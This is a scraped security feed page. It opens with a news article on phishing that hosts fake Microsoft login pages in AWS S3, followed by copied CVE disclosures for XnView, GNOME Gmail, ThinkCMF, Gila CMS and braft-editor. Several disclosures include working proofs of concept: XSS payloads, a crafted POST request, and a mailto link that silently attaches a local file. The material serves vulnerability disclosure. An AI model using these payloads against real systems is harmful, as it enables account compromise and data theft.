By Habiba Rashid
The new attack has been dubbed Phishing 3.0.
This is a post from HackRead.com Read the original post: Phishing 3.0: Crooks Leverage AWS in Deceptive Email Campaigns

*   Cybercriminals are adopting advanced phishing tactics, using legitimate services like Amazon Web Services (AWS) to launch convincing attacks that bypass traditional security measures.

*   The Check Point report highlights the emergence of Business Email Compromise 3.0 (BEC 3.0), where attackers host phishing sites on AWS S3 Buckets to send seemingly genuine emails with phishing links.

*   Hackers manipulate users with social engineering and credential harvesting, often posing as password reset requests, leading victims to click on AWS S3 Bucket URLs that redirect to fake login pages.

*   Phishing attempts rely on exploiting human behaviour and urgency associated with password resets, making it crucial for users to scrutinize email URLs and remain cautious.

*   To counter this threat, cybersecurity experts recommend implementing multi-indicator phishing detection systems, and comprehensive security measures including document scanning, and URL protection mechanisms.

Cybercriminals are now leveraging legitimate services to launch highly convincing phishing attacks that evade traditional security measures. A recent report from cybersecurity firm Check Point’s subsidiary Avanan has revealed that hackers are now utilizing Amazon Web Services (AWS) as a platform for sending out phishing links, adding a new layer of sophistication to their deceptive campaigns.

Phishing attacks have long been a menace in the digital landscape, but the latest trend involves hackers exploiting reputable services to slip through the cracks of cybersecurity defences. This tactic has been previously witnessed with services such as Google, QuickBooks, and PayPal, where attackers create accounts and send out seemingly genuine emails directly from these platforms, making them difficult to identify and block.

The Check Point Harmony Email researchers shed light on how hackers are now using AWS to facilitate their phishing endeavours. In this novel attack variant, cybercriminals are hosting phishing sites on AWS S3 Buckets, which are legitimate storage containers within AWS. This approach allows the attackers to send emails containing phishing links that appear convincingly genuine, as they originate from AWS S3 Buckets.

The attack method, known as Business Email Compromise 3.0 (BEC 3.0), relies heavily on social engineering and credential harvesting techniques to manipulate users into divulging their sensitive information.

The phishing email typically mimics a password reset request, a familiar scenario that prompts users to take action. While some users might be cautious and recognize the email as suspicious due to sender address discrepancies, the attackers cunningly employ AWS S3 Bucket URLs to redirect victims to seemingly legitimate login pages.

Upon clicking the link, victims are led to a webpage that bears the hallmarks of a Microsoft login page, complete with pre-populated email addresses and password fields. While this technique requires a slightly more advanced skill set from the attackers, it remains accessible enough for the average cybercriminal to execute.

The phishing email and phishing login page aim at the login credentials of Microsoft users. (Screenshot: Avanan)

The ultimate goal is to obtain victims’ login credentials, granting the attackers unauthorized access to sensitive accounts and potentially confidential information. According to a blog post published by Jeremy Fuchs of Avanan, users can protect themselves against these increasingly sophisticated attacks by paying close attention to the URLs presented in the emails.

However, the attackers’ well-crafted scenarios and the common urgency associated with password resets can often lead users to disregard this caution. This reliance on human behaviour is precisely what the hackers are banking on, as it offers them a higher chance of success.

In response to this emerging threat, Check Point researchers promptly alerted Amazon about the campaign on July 25th. To mitigate the risks associated with such attacks, cybersecurity professionals are advised to adopt multi-indicator phishing detection systems, implement comprehensive security measures that extend to document scanning and incorporate URL protection mechanisms.

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I’m a student and cybersecurity writer. On a random Sunday, I am likely to be figuring out life and reading Kafka.

Phishing 3.0: Crooks Leverage AWS in Deceptive Email Campaigns

Cross Site Scripting (XSS) vulnerability in Name Input Field in Contact Us form in Laborator Kalium before 3.0.4, allows remote attackers to execute arbitrary code.

CVE-2020-24075: Kalium Changelog - Laborator

Buffer Overflow vulnerability in XNView version 2.49.3, allows local attackers to execute arbitrary code via crafted TIFF file.

Dear user,

XnView 2.49.4 for Windows is available. Versions are available on the normal XnView Download page.

Please note that the XnView Download page offers packages with German/French Setup and German/French Online help.

Direct links to the English Standard version are:  
http://download.xnview.com/XnView-win.exe (English Setup, Multi language)  
http://download.xnview.com/XnView-win.zip (ZIP file, Multi language)

XnView Shell Extension 32bits:  
http://download.xnview.com/XnShellEx.exe  
http://download.xnview.com/XnShellEx.zip

XnView Shell Extension 64bits:  
http://download.xnview.com/XnShellEx64.exe  
http://download.xnview.com/XnShellEx64.zip

SHA256:  
XnView-win.exe: 030E3E45C51A349A3417B52AD6F6547267F1AA6E86BF03BB13E49341AB9FAEB8  
XnView-win.zip: 9E936FB7CD699019A2D1ADF795D6BB078A08686D95ACA0BEA482E0ECE5C72902  
XnView-win-full.exe: 31E13FE27894610D27167ABB0503C6B109E00169D6F3E291BE6661D27953E1C6  
XnView-win-full.zip: 646DE249CEB6E9C1736BC34217C36E720FD7E2FA25468B271A6DEC18707D4E3E  
XnView-win-small.exe: 57E5DF33083C3F440CFA7E44ABE4403724679EEC7A1E57018A5B81A1748557FB  
XnView-win-small.zip: 15DC199567011B41B616BB38DFF31771A9D3E65F1517FC2BEE2068DD69B479FE

\_\_\_\_ 2.49.4 Changelog

\* Ghostscript 9.53.x  
\* GPS & file date - viewtopic.php?f=56&t=40971  
\* TIFF Security vulnerability (Thanks to Michael Heinzl)  
\* NConvert: -levels2 - viewtopic.php?f=57&t=40490  
\* NConvert: -resize supports cm/mm/inches  
\* NConvert: -autodeskew fixed  
\* NConvert: -noholder to disable %$ chars - viewtopic.php?f=57&t=40820

\_\_\_\_ 2.49.3 Changelog

\* Convert 16 to 256 colors - viewtopic.php?f=36&t=39421  
\* Disable ESC to close tabs - viewtopic.php?f=35&t=17078  
\[General\] EscToCloseView=0  
\* Select file from search results & switching mode - viewtopic.php?f=34&t=40063  
\* Title empty when recurse - viewtopic.php?f=36&t=39979  
\* Resize - viewtopic.php?f=35&t=40248  
\* Slideshow: Order of files - viewtopic.php?f=56&t=40087  
\* Fortis Mag fix  
\* NConvert: -wmsize watermark percent size - viewtopic.php?f=57&t=38754  
\* NConvert: canvas size in inches/cm/mm - viewtopic.php?f=57&t=39361  
\* NConvert: replace\_color - viewtopic.php?f=57&t=39769  
\* NConvert: -temperature added

\_\_\_\_ 2.49.2 Changelog

\* Problem with Ghostscript 9.50  
\* PDF font problem - viewtopic.php?f=36&t=39662  
\* CR3 - viewtopic.php?f=35&t=39478  
\* .sld must use 'Recurse' setting - viewtopic.php?f=35&t=39330  
\* GIF loop - viewtopic.php?f=36&t=31689  
\* PAM CMYK

\_\_\_\_ 2.49.1 Changelog

\* TIFF 16bits greyscale

\_\_\_\_ 2.49 Changelog

\* SQLite 3.29.0  
\* NConvert: greater\_than/less\_than condition - viewtopic.php?f=57&t=39147  
\* PSD: Error when writing metadata - viewtopic.php?f=57&t=39137  
\* Export - Problem with RGBA - viewtopic.php?f=36&t=39044  
\* Capture - viewtopic.php?f=36&t=38934  
\* Left/Right F11 to open fullscreen on Left/Right monitor  
\* Create multi file & folder with '.' - viewtopic.php?f=36&t=39008  
\* # to comment line in .sld file  
\* Multipage create: Check if output filename exists  
\* Slideshow crash when using animated GIF - viewtopic.php?f=36&t=38902  
\* XIM format import added  
\* Change timestamp must not use 12h format - viewtopic.php?f=36&t=38702  
\* GIF not played correctly in Slideshow - viewtopic.php?f=34&t=38303  
\* CVE - https://github.com/apriorit/pentesting/ ... ugs/xnview  
\* NConvert: -unsharp  
\* NConvert: -exposure - viewtopic.php?f=57&t=39136  
\* NConvert: -colorize h l s  
\* NConvert: Remove EXIF orientation -exif\_rotation - viewtopic.php?f=57&t=38648  
\* \[Rename\]/TemplateStart, position of number in template - viewtopic.php?f=34&t=38568  
\* CVE-2019-12151  
\* ShellEx: 'Convert...' & input fields

\_\_\_\_ 2.48 Changelog

\* RGB inverted when printing 8bits cmap picture from browser  
\* WebP 32bits  
\* PDF Multipage create - viewtopic.php?f=35&t=38030

\_\_\_\_ 2.47 Changelog

XCF 2.10  
ICNS with JPEG2000 icon  
GIF loop & Quick slideshow - viewtopic.php?f=36&t=31689  
Problem with local charset for image description EXIF field  
\[Start\]/BugBlueLine=1 to remove the bug of blue line  
PDF output without font info - viewtopic.php?f=35&t=38030  
Space must not show tagbox if not enabled  
NConvert: -no\_auto\_rotate - viewtopic.php?f=57&t=38239  
NConvert: -autocrop with position  
NConvert: add -lower to lower case output filename  
NConvert: Bug when output filename contains a numeric enumerator - viewtopic.php?f=57&t=38014

\_\_\_\_ 2.46 Changelog

JPEG2000 YCC - viewtopic.php?f=35&t=37806  
Bad loading for ARW - viewtopic.php?f=36&t=37683  
TIFF with JPEG compression - viewtopic.php?f=35&t=37585  
Adjust dialog clipped - viewtopic.php?f=36&t=32011  
PDF version 1.4 output  
Sqlite 2.24.0  
RLE & ICO vulnerabilities Cody Sixteen from STM Solutions  
NConvert: stdout problem on windows - viewtopic.php?f=57&t=37810

\_\_\_\_ 2.45 Changelog

License written in HKCU  
Support HPI with transparency  
Shows dots under certain conditions - viewtopic.php?f=36&t=37447  
Resize - viewtopic.php?f=36&t=37451  
Blue bar - viewtopic.php?f=36&t=36278  
Resize dialog crash with ^^ - viewtopic.php?f=36&t=36644  
Parameters & External program - viewtopic.php?f=35&t=15465

\_\_\_\_ 2.44 Changelog

Monitor power off during slideshow  
Color profile not used Browser>Print - viewtopic.php?f=36&t=36833  
\-filelist doesn't work anymore  
Tile child window - viewtopic.php?f=56&t=36527  
Strange colors on grey image - viewtopic.php?f=35&t=36485  
UTF8 Exif Image Description

\_\_\_\_ 2.43 Changelog

Better HEIF support - http://www.xnview.com/download/plugins/heif\_x32.zip  
Unwanted file types shown in Viewer - viewtopic.php?f=36&t=35484  
FileListUseExt=1  
Alpha glitch - viewtopic.php?f=36&t=36454  
Folder browsing via command line - viewtopic.php?f=36&t=36434  
Lossless crop corruption - viewtopic.php?f=36&t=36378

\_\_\_\_ 2.42 Changelog

HEIF support - Extract http://www.xnview.com/download/plugins/heif\_x32.zip in Plugins folder

\_\_\_\_ 2.41 Changelog

Basic support for unicode filename  
2Gb limitation on 64bits OS - http://newsgroup.xnview.com/viewtopic.php?f=36&t=35165  
Displaying RGBA image without use alpha - http://newsgroup.xnview.com/viewtopic.php?f=36&t=35809  
Print TIFF with orientation flag in browser - http://newsgroup.xnview.com/viewtopic.php?f=36&t=36197  
GIF loop not saved in .sld - http://newsgroup.xnview.com/viewtopic.php?f=35&t=35991  
Clip support - http://newsgroup.xnview.com/viewtopic.php?f=34&t=28554  
Slideshow crash on RAW files - http://newsgroup.xnview.com/viewtopic.php?f=36&t=34632  
TIF > 2GB & multipage - http://newsgroup.xnview.com/viewtopic.php?f=79&t=35056  
RGBA printing  
Thumbnails upscaling - http://newsgroup.xnview.com/viewtopic.php?f=35&t=36090  
NConvert: -keepdocsize fixed  
NConvert: -shadow - http://newsgroup.xnview.com/viewtopic.php?f=57&t=36163  
NConvert: -align - http://newsgroup.xnview.com/viewtopic.php?f=57&t=36164

\_\_\_\_ 2.40 Changelog

CMYK image default color profile - http://newsgroup.xnview.com/viewtopic.php?f=35&t=31685  
http://newsgroup.xnview.com/viewtopic.php?f=35&t=28839  
RGBA resize (bilinear) - http://newsgroup.xnview.com/viewtopic.php?f=36&t=33425  
http://newsgroup.xnview.com/viewtopic.php?t=29238  
http://newsgroup.xnview.com/viewtopic.php?t=34493  
Ctrl+RMB to copy color - http://newsgroup.xnview.com/viewtopic.php?p=141793  
Capture rectangle on second monitor - http://newsgroup.xnview.com/viewtopic.php?f=56&t=32892  
Print 50+ via command line - http://newsgroup.xnview.com/viewtopic.php?f=35&t=35350  
Filelist to print - http://newsgroup.xnview.com/viewtopic.php?f=34&t=35378  
LIBPNG 1.6.29  
SQLite 3.18.0  
ZLIB 1.2.11  
LCMS 2.8  
BMP 2+10+10+10 - http://newsgroup.xnview.com/viewtopic.php?f=36&t=32577  
Category removed if delete file - http://newsgroup.xnview.com/viewtopic.p ... 2&start=15  
Category moved with Cut/Paste  
8BF & undo - http://newsgroup.xnview.com/viewtopic.php?f=36&t=34508  
'Purge Now' - http://newsgroup.xnview.com/viewtopic.php?f=34&t=32667  
OpenEXR updated - http://newsgroup.xnview.com/viewtopic.php?f=36&t=33039  
Resize gamma correction - http://newsgroup.xnview.com/viewtopic.php?f=34&t=33273  
Change timestamp & DST - http://newsgroup.xnview.com/viewtopic.php?f=36&t=33483  
Selection + Tab - http://newsgroup.xnview.com/viewtopic.php?f=36&t=33983  
GIF loop - http://newsgroup.xnview.com/viewtopic.php?f=35&t=34036  
PAM format - http://newsgroup.xnview.com/viewtopic.php?f=36&t=35132  
JPEG 2000 - http://newsgroup.xnview.com/viewtopic.php?f=36&t=35277  
Maximize on first monitor - http://newsgroup.xnview.com/viewtopic.php?f=36&t=32343  
Resize default size - http://newsgroup.xnview.com/viewtopic.php?f=34&t=33694  
PEF for thumbnail's folder - http://newsgroup.xnview.com/viewtopic.php?f=35&t=35363  
Cancel removed from Setup wizard - http://newsgroup.xnview.com/viewtopic.php?f=34&t=32958  
Previous/Next file & RecognizeByExt == false - http://newsgroup.xnview.com/viewtopic.php?f=36&t=33127  
Next/Previous & video - http://newsgroup.xnview.com/viewtopic.php?f=36&t=35182  
Better dialog for update - http://newsgroup.xnview.com/viewtopic.php?f=34&t=19950  
WebP plugin updated  
OpenJPEG2000 updated  
RIOT addon updated  
PNGOUT updated  
X3F with only embedded JPEG  
NConvert: text with -text\_rotation - http://newsgroup.xnview.com/viewtopic.php?f=57&t=35441  
NConvert: -text\_border added

\_\_\_\_ 2.39 Changelog

no IPTC fields in tooltip/info  
Thumbnail for blend file

\_\_\_\_ 2.38 Changelog

Sort by exif - http://newsgroup.xnview.com/viewtopic.php?f=36&t=32387  
Zooming instead file navigation - http://newsgroup.xnview.com/viewtopic.php?f=36&t=33917

\_\_\_\_ 2.37 Changelog

Better HiDPI support  
Change timestamp and video  
GPS direction - http://newsgroup.xnview.com/viewtopic.php?f=35&t=33587  
Right click (make selection) and delete - http://newsgroup.xnview.com/viewtopic.php?f=36&t=33700  
NConvert: Multipage extract - http://newsgroup.xnview.com/viewtopic.php?f=57&t=33879

\_\_\_\_ 2.36 Changelog

FLIF format added  
SVG support via rsvg-convert.exe - http://newsgroup.xnview.com/viewtopic.php?f=34&t=31748  
Search similar & extension - http://newsgroup.xnview.com/viewtopic.php?f=56&t=32840  
Multipage save doesn't use read settings  
PCT crash - http://newsgroup.xnview.com/viewtopic.php?f=36&t=33025  
NConvert: -t start step for number in output name

\_\_\_\_ 2.35 Changelog

#THUMB\_WIDTH\_MAX# & #THUMB\_HEIGHT\_MAX# - http://newsgroup.xnview.com/viewtopic.php?f=34&t=30652  
JPEGXR  
Backspace not working in fullscreen  
LibPNG 1.6.20  
ZIPPack Addon - http://newsgroup.xnview.com/viewtopic.php?f=35&t=31563

Pierre.

CVE-2021-28427: XnView 2.49.4 - XnView Software

Buffer Overflow vulnerability in XNView before 2.50, allows local attackers to execute arbitrary code via crafted GEM bitmap file.

  

XnView Classic: Best Photo Viewer, Image Resizer & Batch Converter for Windows.

XnView is compatible with Windows 7 and Windows 10.  
Version 2.51.2

  

**XnView** is an efficient image viewer, browser and converter for Windows.  
This software is really simple to use and totally free for personal use. It supports more than 500 image formats! No Adware, No Spyware. Download for Windows

Features

Photo Viewer

With XnView you can browse, organize, and view your images in numerous ways:

*   Thumbnail View
*   FullScreen View
*   FilmStrip View
*   SlideShow with FX
*   Images Compare
*   etc...

Photo Editor

XnView allows you to process your images with an arsenal of editing tools:

*   Resize, Rotate, Crop
*   Lossless Rotate & Crop (jpeg)
*   Adjust Brightness, Contrast, ...
*   Auto Levels, Auto Contrast
*   Modify Colors depth & palette
*   Apply filters & Effects

Create

In addition to **exporting** to more than 70 Formats XnView lets you create:

*   SlideShows
*   Web Pages
*   Contact Sheets
*   Video Thumbnails Gallery
*   File Listings
*   Strip of Images

Unrivaled Compatibility

XnView lets you **read** about 500 formats (including Multipage and animated still formats APNG, TIFF, GIF, ICO,etc..).  
_Some formats may require Plug-ins_

XnView also provides a convenient **Screen Capture module** and Windows ™ **TWAIN & WIA** interface to capture images.

And Much More ...

Some other notable features of XnView are:

*   Metadata support & Editing (IPTC)
*   JPEG lossless Transforms
*   Duplicate File Finder
*   Batch Processing
*   Batch Rename
*   Print Module

Downloads

Download **XnView 2.51.2** for Windows:

Donate

XnView is provided as **FREEWARE** (NO Adware, NO Spyware) for private or educational use (including non-profit organizations).  
If you enjoy using XnView, Don't hesitate to help the developer with a small donation.

You may want to check out all the Addons also available for XnView.

SHA-256 checksums:  
XnView-win.exe: A09A25EC83F277580821AFC0982041078E8992A9C778E52984CE6CC8F3C69B90  
XnView-win.zip: B463C5E2B77F981614B67E4AAB0D78385DC2EE80A6A8852EE129ED2E345BD1D4  
XnView-win-full.exe: 5089486DD86D0DE1CB55EEA4D13EB73BDC2BBCECD4831371F971DE50E4E2DA7B  
XnView-win-full.zip: 96D8A69DA9014466A22ED3677426E0134D8C41452202E8C198314559A5A1807A  
XnView-win-small.exe: 064A8D8647C1D3FD2AAC97DB1FE8A04FDAD3E80C63A1AC3591C980452E7E01E2  
XnView-win-small.zip: 1DA17B608BB0D7E5892FAD7562D8E9E36C6459118AFA30F11A412C91AC6D7916'

Screenshots

History of changes

Changelog

Support

**Visit the Forum**

The XnView forum is probably the best place to start interacting with other users and the developer.

**User Guide**

XnView Wiki is where XnView user guide is maintained.

CVE-2021-28835: The Best Windows Photo Viewer, Image Resizer and Batch Converter · XnView

An issue was discovered in attach parameter in GNOME Gmail version 2.5.4, allows remote attackers to gain sensitive information via crafted "mailto" link.

Following the email conversation with David I am raising this security issue as agreed (or some might say a feature/expected behavior)

**Summary**  
By using the "mailto?attach=..." parameter, a website can make GNOME Gmail attach local files to an email message without showing a warning to the user, additionally when user writes an email they can't see that there is an attachment on some systems. Please see test.gif for a demonstration.

To summarize it is an analog of CVE-2020-11879 in GNOME Evolution KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089), and Pegasus Mail. https://twitter.com/jensvoid/status/1295357952480751616 Jens originally found this type of issue in email clients. As Jens wrote in the bugzilla report 613425 I quote: "_This is arguable a dangerous feature because it allows an attacker to exfiltrate arbitrary files on disk (and also email from the victim's IMAP account), if the victim sends an email based on attacker controlled mailto input and misses the attachment being added._"

**How to reproduce**

1.  Have GNOME Gmail client installed on Ubuntu and choose GNOME GMail and Chrome as default browsers (I tested on Ubuntu 20.04 and 18.04.4 with latest stable Chrome)
2.  Copy Tux.png to /tmp directory
3.  Open test.html
4.  Click "Send email"
5.  In the GNOME Gmail fill the "To" and "Subject" fields
6.  Click send

  
test.html

    <html>
    <body>
    <p>POC test</p>
    <p><a href="mailto:alikhan@uzakov.io?attach=/tmp/Tux.png">Send email</a></p>
    </body>
    </html>
    

Tux.png https://en.wikipedia.org/wiki/File:Tux.png  
**Additional information**  
On Ubuntu 18.04.4 with Chrome version 83.0.4103.116 attachment isn't shown, as you can see in demo above  
On Ubuntu 20.04 with the latest stable Chrome attachment is shown

CVE-2020-24904: Security issue · Issue #84 · davesteele/gnome-gmail

Directory Traversal vulnerability in delete function in admin.api.TemplateController in ZrLog version 2.1.15, allows remote attackers to delete arbitrary files and cause a denial of service (DoS).

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CVE-2020-27514: Arbitrary File Deletion Vulnerability in com.zrlog.web.controller.admin.api.TemplateController#delete · Issue #66 · 94fzb/zrlog

Cross Site Scripting (XSS) vulnerability in UserController.php in ThinkCMF version 5.1.5, allows attackers to execute arbitrary code via crafted user_login.

At vendor/thinkcmf/cmf-app/src/admin/controller/UserController.php

There is no filtering of the user's post requests.

For example:

line 138:

$result             = DB::name('user')->insertGetId($_POST);

line 221:  
$result = DB::name('user')->update($_POST);

So There is a Stored XSS vulnerability in user management,

POC:

    POST /admin/user/addpost.html HTTP/1.1
    Host: test.net
    Connection: close
    Content-Length: 115
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: https://test.net
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://test.net/admin/user/add.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
    Cookie: thinkphp_show_page_trace=0|0; admin_username=admin; PHPSESSID=ju91k4c4do16sl2qqac553edl1
    
    user_login=%3Cimg+src%3D''+onerror%3Dalert(%2Fxss%2F)%3E&user_pass=123456&user_email=1111%40qqq.com&role_id%5B%5D=2

CVE-2020-25915: There is a store Stored XSS vulnerability in user management · Issue #675 · thinkcmf/thinkcmf

Cross Site Scripting (XSS) vulnerability in adm_user parameter in Gila CMS version 1.11.3, allows remote attackers to execute arbitrary code during the Gila CMS installation.

**XSS on Gila CMS Installation**

**Gila CMS version 1.11.3**

1: Admin Username

<input name="adm_user" placeholder="Your Name" required="">

adm\_user

/install/install.sql.php

    $_user=$_POST['adm_user'];
    $_email=$_POST['adm_email'];
    $_pass=password_hash($_POST['adm_pass'], PASSWORD_BCRYPT);
    
    $link->query("INSERT INTO userrole(id,userrole) VALUES(1,'Admin');");
    $link->query("INSERT INTO user(id,username,email,pass,active,reset_code) VALUES(1,'$_user','$_email','$_pass',1,'');");
    

2:Login in admin pane

XSS

Visit the website

3:Reference

https://www.owasp.org/index.php/Cross-site\_Scripting\_(XSS)

CVE-2020-20523: XSS on Gila CMS Installation · Issue #41 · GilaCMS/gila

Cross Site Scripting (XSS) vulnerability in Query Report feature in Zoho ManageEngine Password Manager Pro version 11001, allows remote attackers to execute arbitrary code and steal cookies via crafted JavaScript payload.

CVE-2020-27449: Release Notes - ManageEngine Password Manager Pro

Cross Site Scripting (XSS) vulnerability in margox braft-editor version 2.3.8, allows remote attackers to execute arbitrary code via the embed media feature.

Dear Author,  
I’m testivy. I found that the current version of braft-editor has a a cross-site scripting (XSS) allows remote attackers to run arbitrary web script inside an div embed media element by injecting a crafted HTML element into the editor.  
As the offical demo site shown:  
https://braft.margox.cn/demos/basic  
or  
https://braft.margox.cn/  
  
When I come to the media library toolbar and choose the "adding network network resources " button below,and then select the embed media item as the figure shown below:  
  

****Loopholes Reproduce****

1.  Inject a crafted HTML element into the editor just like this  
    <img/src=1 onerror=alert(1)>
2.  Click the insert button  
    
3.  Click the play button to play the inserted video in this editor
4.  View the page and you will see a pop-up which running the arbitrary web script inside.  
    

****Vulnerability details****

This problem mainly occurs in braft-editor/src/renderers/atomics/Embed/index.jsx 

    return (
        <div className="bf-embed-wrap">
          <PlayerModal
            type="embed"
            onRemove={removeEmbed}
            poster={meta ? meta.poster || '' : ''}
            language={language}
            url={url}
            name={name}
            title={language.videoPlayer.embedTitle}
          >
            <div
              className="bf-embed-player"
              dangerouslySetInnerHTML={{ __html: url }}
            />
          </PlayerModal>
        </div>
    

As we can see, the above dangerouslySetInnerHTML ,this accept the url variable from the input without escape that could lead to run the arbitrary code even stealing the user's cookie. .etc.  
If we input the simple script like "<img/src=1 onerror=alert(1)>",the brower will render it to the html as below:  
<div class="bf-embed-player"><img src="1" onerror="alert(1)"></div> and finally pop a alert window.

Best Regards

CVE-2021-27524: Report a cross-site scripting (XSS)  security vulnerability in the braft-editor  allowing remote attackers to run arbitrary web script inside an div embed media element by injecting a crafted HTML ele

Tag

#web